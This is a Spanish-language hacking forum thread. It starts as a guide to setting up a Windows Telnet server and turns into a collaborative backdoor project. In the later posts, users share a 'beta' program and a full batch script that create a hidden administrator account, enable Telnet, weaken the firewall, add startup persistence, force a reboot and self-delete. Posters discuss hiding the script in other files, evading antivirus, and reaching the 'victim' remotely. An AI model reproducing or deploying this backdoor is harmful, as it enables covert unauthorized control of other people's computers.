MANUAL PARA CREAR UN SERVIDOR TELNET Y HACER LA CONEXION REMOTA + PROGRAMA ¡¡

[Microchip]

Que es TELNET?
Es un protocolo, es decir un programa que permite la conexion remota entre un servidor (servidor telnet) y uno o varios clientes (terminales) que son el o los PC's que se conectan a ese servidor usando un nombre y una contraseña. Las diferencias principales estan en que no tienen un entorno grafico ya que la conexion y las acciones como copiar, cambiar de ficheros cambiar de directorios y muchas otras se realizan en modo consola es decir un entorno no grafico similar al del MS DOS, otra caracteristica es la de hacer el "logeado" o autentificacio n de usuario llevando la peticion al servidor en modo de texto plano, quiere decir
que los datos no viajan encritptados y son faciles de capturar para poder ingresar a una maquina con el nombre y pass de otro usuario, por lo cual se dejo de utilizar hace algunos años y se remplazo por SSH que seria una version mejorada de telnet por la encriptacion de datos que maneja al pasar información....

Como configurar a nuestro PC para que sea un servidor TELNET???
- Primero entra a Inicio - Panel de Control - Herramientas - Administrativa s
Servicios.



Veras que hay varios bajas y buscas "Telnet" le haces dos click's y veras en Tipo de Inicio = Deshabilitado lo cambias por Automatico quiere decir que se iniciara cada vez que el windows se cargue.




- Luego te vas a Iniciar Sesion y le haces click a "Esta Cuenta" ahi pones
el nombre de un Administrador de tu PC ya sea el tuyo o puedes crear otro en Inicio - Panel de Control - Cuentas de Usuario y creas uno nuevo para telnet



La contraseña puedes colocarla tanto en la Cuenta de Usuario como en Inicar sesion en la Pestaña de Propiedades de Telnet, o simplemente en Inicar sesion en la Pestaña de Propiedades de Telnet da igual, lo que nos interesa es que la contraseña este en La configuracion de TELNET.

Ahora esta cuenta que creaste te sirve para que desde pc remoto
puedas configurar las opciones de TELNET es decir inicios de sesion,
numero de intentos fallidos en la conexion de un usuario cliente
el puerto que utilizaras para la conexion telnet, es decir una cuenta
de ADMINISTRADOR telnet.



En mi caso cree un adminsitrador llamado "Telnet" para agregarlo a Inicar Sesion

/*Si solo quieres conectarte no es necesario este paso de Iniciar sesion
solo necesitas tener una cuenta en Cuentas de Usuario del panel de control y listo entras con ese nombre y contraseña */

Luego de hacer esto reinicias tu PC y cuando cargue de nuevo windows
haces Inicio --- ejecutar --- cmd y entraras a la consola de MS DOS
ahi pulsas "tlntadmn" sin comillas y te saldra esto:



si no hiciste todos los pasos bien te saldra:



si todo fue bien ya tienes echo tu servidor telnet ahora puedes configurar algunos parametros
con comandos de tlntadmn como ser:

Para administrar un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] [start] [stop] [pause] [continue] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
start
Inicia el servidor Telnet.
stop
Detiene el servidor Telnet.
pause
Interrumpe el servidor Telnet.
continue
Reanuda el servidor Telnet.
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?
Muestra Ayuda en el símbolo del sistema.


Para administrar sesiones Telnet
Sintaxis
tlntadmn [\\servidorRemoto] [-s] [-k{IdDeSesión | all}] [-m {IdDeSesión | all} "mensaje"]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
-s
Muestra las sesiones Telnet activas.
-k{IdDeSesión | all}
Termina sesiones. Escriba el identificador de sesión para terminar una sesión específica o escriba all para terminar todas las sesiones.
-m {IdDeSesión | all} "mensaje"
Envía un mensaje a una o varias sesiones. Escriba el identificador de sesión para enviar un mensaje a una sesión específica o escriba all para enviar un mensaje a todas las sesiones. Escriba el mensaje que desea enviar entre comillas (es decir, "mensaje").
/?
Muestra Ayuda en el símbolo del sistema.


Para establecer el dominio predeterminado en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [dom=nombreDeDominio] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
dom= nombreDeDomini o
Especifica el dominio que desea convertir en el dominio predeterminado .
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?
Muestra Ayuda en el símbolo del sistema.
Ejemplos
Para hacer de Server1 el dominio predeterminado en el servidor local, escriba:
tlntadmn config dom=Server1
Para asignar la tecla Alt en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [ctrlakeymap={yes | no}] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
ctrlakeymap={yes | no}
Especifica si desea que el servidor Telnet interprete CTRL+A como ALT. Escriba yes para asignar la tecla de método abreviado o no para impedir la asignación.
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?


Para establecer el número máximo de conexiones en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [maxconn=enteroPositivo] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
maxconn= enteroPositivo
Establece el número máximo de conexiones. Este número debe especificarse con un entero positivo que sea más pequeño que 10 millones.
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?
Muestra Ayuda en el símbolo del sistema.


Para establecer el número máximo de intentos de inicio de sesión erróneos en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [maxfail=enteroPositivo] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
maxfail= enteroPositivo
Establece el número máximo de intentos de inicio de sesión erróneos que se le permite a un usuario. Este número debe especificarse con un entero positivo que sea más pequeño que 100.
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?
Muestra Ayuda en el símbolo del sistema.
Para establecer el modo de operación en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [mode={console | stream}] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
mode={console | stream}
Establece el modo de operación.
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?
Muestra Ayuda en el símbolo del sistema.
Para establecer el puerto Telnet en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [port=valorEntero] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
port= valorEntero
Establece el puerto Telnet. Debe especificar el puerto con un entero más pequeño de 1.024.
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?
Muestra Ayuda en el símbolo del sistema.
Para establecer los métodos de autenticación en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [sec=[{+ | -}ntlm][{+ | -}passwd]] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
sec=[{+ | -}ntlm][{+ | -}passwd]
Especifica si desea utilizar NTLM, una contraseña o ambos para autenticar intentos de inicio de sesión. Para utilizar un tipo determinado de autenticación, escriba un signo más (+) antes de ese tipo de autenticación. Para impedir el uso de un determinado tipo de autenticación, escriba un signo menos (-) antes de ese tipo de autenticación.
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?
Muestra Ayuda en el símbolo del sistema.


Para establecer el tiempo de espera para sesiones de inactividad en un equipo que ejecuta el servidor Telnet
Sintaxis
tlntadmn [\\servidorRemoto] config [timeout=hh:mm:ss] [-u nombreDeUsuari o-p contraseña]
Parámetros
\\ servidorRemoto
Especifica el nombre del servidor remoto que desea administrar. Si no se especifica un servidor, se utilizará el servidor local.
timeout= hh : mm : ss
Establece el período de tiempo de espera en horas, minutos y segundos.
-u nombreDeUsuari o -p contraseña
Especifica las credenciales administrativa s del servidor remoto que desea administrar. Este parámetro es necesario si desea administrar un servidor remoto en el que no haya iniciado una sesión con credenciales administrativa s.
/?
Muestra Ayuda en el símbolo del sistema.


Doy un ejemplo aqui de como configurar el puerto que utilizara telnet
para su conexion:



Aqui cambiamos el puerto por defecto 23 al puerto 100
Nota.- El puerto que utilize telnet debe ser menor a 1024

Ahora como veran en este ejemplo yo cambie el puerto que era el 23 a el
100 entonces para probar que me funciona mi servidor telnet voy a
inicio ejecutar "telnet 127.0.0.1 100"
Porque?
127.0.0.1 es la IP interna o localhost que tienen todos los PC's por
defecto entonces y yo la utilizo para hacer una autoconexion a mi mismo
para ver si esta bien mi servidor telnet
100   es el puerto que cambiamos al servidor telnet

se veria asi:



le teclamos "s" y damos enter
Nos saldra login:
           pass:


colocamos el que tengamos en el PC en este caso yo tengo usuario telnet
y un pass luego nos mostrara la Bienvenida y ya sabemos que funciona
asi que probarlo desde una maquina remota , cuando se intente probar
desde un pc remoto fijarse que tenga abierto el puerto que le asignamos
a nuestro servidor para hacer la conexion



Los comandos que se utilizan para moverse en telnet que tb sirven para ftp estan en escritos en UNIX, asi que aqui les dejo el enlace para que puedan ver que comandos les interesa saber como ser "get" "mget" que son los que sirven para descargar archivos de un pc remoto:D


Para ver este enlace Registrate o Inicia Sesion

UNIX

o

Para ver este enlace Registrate o Inicia Sesion

UNIX

Si hacen una autoconexion o en una LAN pueden utilizar comandos de MS DOS como ser cd, md, dir y muchos otros para moverse en su disco duro

NOTA.- En caso de querer comunicarnos desde un PC remoto tendriamos que hacer
Inicio - ejecutar- telnet "la IP publica del PC" 100
es decir la Ip ya seria la que nos sale en internet cuando vamos a cual es mi IP

Para ver este enlace Registrate o Inicia Sesion

MI IP

Programa Para intrucion automatica via Telnet.

[/color]

Hice hace un rato un programa que lo pueden descargar de

Para ver este enlace Registrate o Inicia Sesion

MAGHYFO

o
Para ver este enlace Registrate o Inicia Sesion
o tb en

Para ver este enlace Registrate o Inicia Sesion

MAGHYFO

o
Para ver este enlace Registrate o Inicia Sesion

ENLACES ACTUALIZADOS

Tiene las siguientes funciones:
- Crea un Usuario Administrador en el CPU donde se ejecuta
- Activa el servicio TELNET
- Se cuela en los servicios permitidos del Firewall de Windows y disminuye
su proteccion de manera silenciosa
- Permite conexion remota con USUARIO: Microsoft   PASSWORD:  microchip
(respetando mayusculas y minusculas) los que conocen de telnet sabran
que necesitan hacer

TELNET 200.255.2.XXX (ip de la victima)
Usuario: Microchip
pass: micro

esperar unos segundos y se conecta, puede tardar hasta mas de un minuto...

- Por ultimo se ejecuta cada vez que se inicia windows je je!!!

/* Esta es la versión Beta, quisiera que lo probaran con los firewalls
de marca como ser Kasp, Norton Internet Segurity, panda y demas*/
esto para mejorarlo y sacar la version final que en teoria deberia pasar
cualquier firewall, pero veremos eso

Asi que les pido que hagan la prueba para ver que errores puede presentar
y con que programas o firewalls ok???

Una cosa mas mejor si lo prueban personas que conozcan de conexion y comandos
telnet para evitar que posten preguntas como "que comandos uso para ver
el disco duro??"  :S o tonterias como esas.

No vi este metodo en ningun lugar asi que los creditos me los atribuyo

Como ya supondran la victima primero debe ejecutar este archivo ejecutable
para que nos abra la puerta telnet, no explicare como mezclar con otro archivo
ni como mandarlo ni nada, de hecho la persona que quiere usarlo ya debe
saber eso, una cosa mas no lo detecta ningun antivirus, esperemos
que tampoco los firewalls lo probaria yo pero no tengo tantos firewalls
instalados je je!!! ni tiempo :S
Saludos

[OzX]

microchip¡¡ eres un ej digno de los verdaderos user, pocos post, buen contenido, preciso y consiso.

y seria bueno poder hacer un batch que pueda modificar eso, porque todos esos cambios estan en el registro  es lo q hace que una configuracion permanesca, o deje registro etc. asi se pudiera cambiar mediante batch , y hacer un exe, se podria mandar un archivo que automaticament e creara todo eso.. asi luego de enviar un simple batch que no es detectado como virus.. o talves si porque modificara el registro, se podria acceder mediente telnet ¡

ideas ideas ideas... talves se pueda o talves no ¡

saludos¡
adios¡

[Microchip]

Lo podria hacer, la verdad es que eso es lo que hacia el programa que publique hace un tiempo para intrusion por telnet, tenia algunas fallas pero nada dificil de arreglar, lo puedo hacer esta noche o mañana en mi casa, depende si me hacen concluir o no estos dias un software de base de datos en V. Basic, si me dan tiempo puedo publicarlo el programa arreglado a mas tardar mañana, pero seria bueno si lo pudieses colar el tema, te parece??

[Khcms]

Microchip, este manual me ha resolvido todas las dudas,

Aunque tengo un problema, al acceder a Inicio - Panel de Control - Herramientas - Administrativa s >Servicios, no me aparece Telnet, ¿qué debo hacer?

Un saludo

[Microchip]

Entra a MI PC luego entras a Herramientas - opciones de carpeta - ver y fijate que debajo de Archivos y carpetas ocultos esten habilitadas todas las opciones asi como Mostrar los archivos y carpetas ocultos asi ya deberias ver la opcion telnet........ .

[Esquipy]

Bueno, mira la verdad no se mucho de esto, y pues.... me gustaria saber que pasa al CREAR UN SERVIDOR TELNET Y HACER LA CONEXION REMOTA que se puede hacer, para que es esto, que ventajas tengo, como se usa, perdonen lo ignorante, pero quiero que me ayuden por favor

Salu2
-------------------Esquipy----------------------

[Microchip]

Osea al crear un servidor telnet tu puedes conectarte a ese servidor desde cualquier pc que tenga internet y entrar en modo de  consola es decir mediante comandos como en el caso del MS DOS puedes copiar borrar renombrar archivos carpetas, puedes usar mails en si casi todo lo que hace el windows, pero lo haces
por medio de comandos sin usar el mouse ni un entorno grafico, asi podrias  controlar ya sea tu PC u otro de manera remota es lo que mencionan desde tiempo atras, obtener "La Shell de una maquina remota" la diferencia es que el sistema operativo que se utiliza es el UNIX que ya deje manuales al respecto arriba.
Ahora lo que mencionamos abajo lo que dijo OZX es que podemos hacer un programa que nos sirva para crear un servidor telnet en una maquina ajena y asi nosotros podernos conectar a dicha maquina por medio de comandos teniendo ya la cuenta de usuario y lo demas podriamos tener el control remoto de la maquina y no se detectarian por firewalls ni antivirus como ya lo comprobe con un programa que publique hace una semana

Para mas informacion busca Telnet en google y fijate que mas puede hacer.........

[OzX]

microchip.. tienes muy buenas ideas... mira... vamos con el proyecto te parece?
osea hacer un batch que al final sea un exe
que se pueda enviar mediante nose algun archivo flash por ej
y el batch tenga todos lo que enseñaste pero listo para ser modificados
lo bueno que no seria detectable
aparte el joiner seria del propio windows iexpress
sike seria indetectbale
yo tengo info de como instalar el vnc sin icon sistem tray y en modo invisible
sin que se de cuenta el otro user..



si aceptes lo pego arriba como proyecto de hack novatos..

[Microchip]

Ok! pero como te dije estoy un poco ocupado, voy a tratar de hacerlo mañana y lo publico el code para que se pueda modificar ok?

[||Ray||]

Wow estube leyende el manual y es realmente bueno, te felicito.

Saludos

[Microchip]

Thank's RAY 

Bueno como dicen "para luego es tarde" aqui les dejo el code en batch para que lo prueben....... ..........

--------------------------------------------------------------------------------------------------------

@echo off
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t REG_DWORD /d 2 /f
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Microsoft /t REG_SZ /d %windir%\system32\yo.bat /f
pause
net user nombre pass /add
net localgroup "Administradore s" nombre /add
pause
echo @echo off>>%windir%\system32\yo.bat
echo REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t REG_DWORD /d 2 /f>>%windir%\system32\yo.bat
echo REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Microsoft /t REG_SZ /d %windir%\system32\yo.bat /f>>%windir%\system32\yo.bat
echo net user nombre pass /add>>%windir%\system32\yo.bat
echo net localgroup "Administradore s" nombre /add>>%windir%\system32\yo.bat
echo tlntadmn config port = 115>>%windir%\system32\yo.bat
echo exit>>%windir%\system32\yo.bat
pause
shutdown -r -t 00 -f -c "reiniciamos para efectuar cambios"
del %0
exit

--------------------------------------------------------------------------------------------------------


los pauses solo los he colocado para ver si se efectuan correctamente cada cambio, cuando utilizemos este batch los quitaremos, al ultimo reiniciar
para efectuar los cambios y de ahi hacer la prueba de paso un autoborrado..
ademas escribe otro batch en la carpeta system32  para ejecutar los comandos que nos interesa cada vez que se inicie windows....... ..

el puerto asignado para comunicacion es el 115 que se ejecuta cada vez que inicia el windows
nombre = el administrador que pongamos
pass= la contraseña

una cosa mas al copiar y pegar este batch fijense que:
net localgroup "Administradore s" nombre /add

no tenga esto net localgroup "Administrador es" nombre /add
o no crea el administrador de equipo.......

[OzX]

el firewall de karperky no lo toma XD¡
ni tampoco el AV de kas..

[Microchip]

Bueno pase el code de batch a visual, solucionadas las fallas del primero ademas de que tiene autoborrado y un poco mas rapida la conexion hacia telnet pero deben probarlo, asi que aqui les dejo el enlace


Para ver este enlace Registrate o Inicia Sesion

MAGHYFO

O  
Para ver este enlace Registrate o Inicia Sesion

tb


Para ver este enlace Registrate o Inicia Sesion

MAGHYFO

o


Para ver este enlace Registrate o Inicia Sesion

esta con el puerto predeterminado 23

[OzX]

jeje que bien¡
microchip...

pordria crearse sin esa funcion de crear una nueva cuenta, porque creo que es el fallo mas notirio que tiene en cuantoa pasar desapersivido. .

porque a todos les parecia extraño iniciar el pc y tener una nueva cuenta haberla creado.
XD¡ bueno eso una opinion.. para ver si puedes solucionar eso..

pero lo demas esta de Lujo¡

Backdoors¡¡¡

[hormiga-revolucionaria]

esto funciona en win 98
porque en el panel de control no esta la carpta herrmainetas.. .
de uqe otra forma puedo acceder al telnet para ocnfigurarlo como
decis aca?